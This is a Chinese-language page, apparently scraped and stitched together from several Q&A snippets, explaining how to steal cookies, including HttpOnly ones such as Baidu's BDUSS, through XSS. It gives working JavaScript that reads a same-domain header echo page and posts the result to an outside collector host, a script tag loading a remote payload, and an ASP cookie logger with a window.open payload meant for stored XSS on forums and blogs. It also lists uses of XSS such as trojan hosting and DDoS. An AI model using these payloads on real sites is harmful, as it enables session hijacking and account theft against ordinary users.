如何通过 XSS 获取受 http-only さcookie
该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。
02.jpg
这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:
code 区域
var u = 'http://buv.me/index.php?do=apiid={projectId}';
var cr;
if (document.charset) {
cr = document.charset
} else if (document.characterSet) {
cr = document.characterSet
};
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open("GET", "http://appstest.baidu.com/http/echoheader.php", true);
xmlHttp.send(null);
function postSource(cc) {
createXmlHttp();
url = u;
cc = "mycode=" + cc;
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.setRequestHeader("Content-length", cc.length);
xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(cc)
}
function writeSource() {
if (xmlHttp.readyState == 4) {
var c = new postSource(xmlHttp.responseText)
}
}
由于是用xmlHttpRequest的形式读源码,且 http://appstest.baidu.com/ 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。
我在 http://wooyun.org/bugs/wooyun-2014-051026/trace/e80c9b4ecb9c252d6bdfdb21c335164d 中有提到, http://appstest.baidu.com/abnormalTest/abnormaTest.php?typeName=single 可以自由构造XSS。我们向该页面写入如下代码:
code 区域
titlewooyun.org/title
p超威蓝猫@wooyun.org/p
script src=http://00f.me/XbSWCk/script
xss 怎么获取用户cookie
XSS获取cookie并利用 获取cookie利用代码cookie.asp xx 把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。 XSS构造语句 window.open('http://10.65.20.196:8080/cookie.
如何使用xss平台盗取cookie
截取的是你的网站的 xss真正的原理是将代码插入到某个网页里面,当浏览器访问这个网页的时候,就会执行你写的代码。如果这个代码具有获取cookies的功能,即可获得当前页面的cookies 然而不同的网站cookies是不同的,也是不允许互相访问的。
如何通过 xss 获取受 http-only さcookie
XSS获取cookie并利用 获取cookie利用代码cookie.asp xx 把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:10.65.20.196:8080。 XSS构造语句 window.open('10.65.20.196:8080/cookie.
黑客进行xss跨站攻击所嵌入的代码是不是一般来说都是获取用户cookies
我认为应该有几点:
1、针对性挂马。所以这类网站一定是游戏网站,银行网站或者是关于qq、taobao或者影响力相当大的网站等,它们必须有我们平常需要盗取的帐号密码;当然也或许是这个站点的浏览量相当高,我们能将更多的马挂出去。而如果仅仅是平平常常的一个小站点的XSS漏洞,如果我们要挂马,那么还不如就直接把木马页面地址贴出去。
2、用户权限下操作。这类网站则必须有会员了,而且这些会员有很多有意义的操作或者有我们需要的内部个人资料,所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项,因为其目的也是获取用户操作权限(盗密码包括在内),从而获取用户某些信息或者进行权限下的相关操作。
3、DDOS攻击或傀儡机。这同样需要一个访问量非常大的站点,利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点,或者进行局域网扫描等等。这类js工具早已经产生,js端口扫描、jikto、xssshell等等。
4、提权。一般这主要发生在论坛或信息管理系统,总之一定要有管理员了。这需要攻击者对目标系统相当熟悉(一般这样的系统需要开源代码),从而知道怎样构造语句进行提权。
5、实现特殊效果。譬如我在百度空间的插入视频,插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。
js中如何获取Cookies的值
读取属于当前文档的所有cookies
var allcookies = document.cookie;
定义一个函数,用来读取特定的cookie值。
function getCookie(cookie_name)
{
var allcookies = document.cookie;
var cookie_pos = allcookies.indexOf(cookie_name); //索引的长度
// 如果找到了索引,就代表cookie存在,
// 反之,就说明不存在。
if (cookie_pos != -1)
{
// 把cookie_pos放在值的开始,只要给值加1即可。
cookie_pos += cookie_name.length + 1; //这里容易出问题,所以请大家参考的时候自己好好研究一下
var cookie_end = allcookies.indexOf(";", cookie_pos);
if (cookie_end == -1)
{
cookie_end = allcookies.length;
}
var value = unescape(allcookies.substring(cookie_pos, cookie_end)); //这里就可以得到你想要的cookie的值了。。。
}
return value;
}
// 调用函数
var cookie_val = getCookie("username");
c# 如何获取当前 页面 所有cookie 包括其他域名?
w3c的标准是不允许你直接跨域操作cookie的~~也就是如果你能跨域得到另外一个站点的cookie说明那个站点有被XSS的风险。除非你用xss的办法得到另外一个域的cookie信息~而且有限制就是说如果站点是ssl+httponly(cookie属性)的话你根本就没法操作。
基本原理就是你要得到A的cookie 就在A站点写一段js
document.cookie让后直接把他跨域用ajax请求到B站点 B站点在后台给他保存起来
xss 打到cookie 怎么利用
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""msg"")//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。
XSS构造语句
scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://10.65.20.196:8080/cookie.asp?msg='+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。